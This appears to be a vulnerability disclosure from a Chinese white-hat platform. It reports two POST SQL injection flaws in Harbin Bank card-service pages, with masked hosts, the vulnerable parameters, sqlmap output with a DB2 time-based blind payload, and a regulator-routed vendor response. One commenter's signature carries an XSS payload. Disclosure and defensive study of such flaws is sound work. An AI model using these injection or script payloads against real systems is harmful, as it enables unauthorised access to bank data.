哈尔滨银行两处SQL post注射漏洞

漏洞存在页面：http://**.**.**.**/card/service.do

POST参数:method=askSearch&p=88952634&condition=88952634&askTypeNo=88952634

IBM DB2数据库啊。

不敢深入、

漏洞存在页面:http://**.**.**.**/card/merchant.do

POST参数:method=merchantSearch&p=88952634&condition=88952634&merchantCondition=%E8%AF%B7%E8%BE%93%E5%85%A5%E6%90%9C%E7%B4%A2%E5%85%B3%E9%94%AE%E5%AD%97&cityNo=88952634&merchantCategoryNo=88952634&hasCoupon=88952634

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
 sts:
 ---
 Place: POST
 Parameter: cityNo
     Type: AND/OR time-based blind
     Title: IBM DB2 OR time-based blind (heavy query)
     Payload: method=merchantSearch&p=88952634&condition=88952634&merchantConditi
 on=%E8%AF%B7%E8%BE%93%E5%85%A5%E6%90%9C%E7%B4%A2%E5%85%B3%E9%94%AE%E5%AD%97&city
 No=-3498 OR 3460=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES A
 S T2,SYSIBM.SYSTABLES AS T3)&merchantCategoryNo=88952634&hasCoupon=88952634
 ---
 [12:22:38] [INFO] the back-end DBMS is IBM DB2
 web application technology: JSP
 back-end DBMS: IBM DB2

又是延迟注入，很慢的。我就不细发了。

很慢的。也下一步的测试了。就截图几张就OK了把。

过滤参数

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2014-10-30 16:57

厂商回复：

cnvd确认并复现所述情况，已经转 由cncert向银行业信息化主管部门通报，由其后续协调网站管理单位处置。按多个风险点评分，rank 13

最新状态：

暂无

1. 2014-10-27 08:47 | GHK ( 路人 | Rank:2 漏洞数:1 )

   2

   记者拍这里。

   1# 回复此人

2. 2014-10-27 09:49 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

   0

   最近怎么都在搞银行？

   2# 回复此人

3. 2014-10-27 10:17 | backtrack丶yao ( 普通白帽子 | Rank:298 漏洞数:110 )

   0

   记者拍这里

   3# 回复此人

4. 2014-10-27 10:22 | char ( 路人 | Rank:13 漏洞数:3 | 中国平安，不只保险这么简单。)

   0

   灯光师傅请用闪光闪123楼，摄像师傅请对焦4楼。谢谢。

   4# 回复此人

5. 2014-10-27 13:01 | 刺丶魂 ( 路人 | Rank:17 漏洞数:9 )

   0

   灯光师傅请用闪光闪1234楼，摄像师傅请对焦5楼。谢谢。

   5# 回复此人

6. 2014-10-27 13:29 | ki11y0u ( 普通白帽子 | Rank:140 漏洞数:28 | 好好学习，求带飞 ~~~~~~~~~~~~~~~~~~~~~~...)

   0

   灯光师傅请用闪光闪12345楼，摄像师傅请对焦6楼。谢谢。

   6# 回复此人

7. 2014-10-30 17:03 | 执念千寻 ( 路人 | Rank:2 漏洞数:1 | null)

   0

   灯光师傅请用闪光不要闪123456楼，摄像师傅请对焦7楼，其他大光圈虚化。谢谢。

   7# 回复此人

8. 2014-10-30 17:07 | 草榴社区 ( 普通白帽子 | Rank:109 漏洞数:26 | Rank:9999 漏洞数:1024 | 未满18周岁,不准...)

   0

   灯光师傅怎么是个漂亮妹子,来我们一起去如家谈谈人生和理想.

   8# 回复此人

9. 2014-11-30 10:16 | 岩少 ( 普通白帽子 | Rank:658 漏洞数:181 | 破晓团队)

   1

   @老和尚 你真会抄袭啊。

   9# 回复此人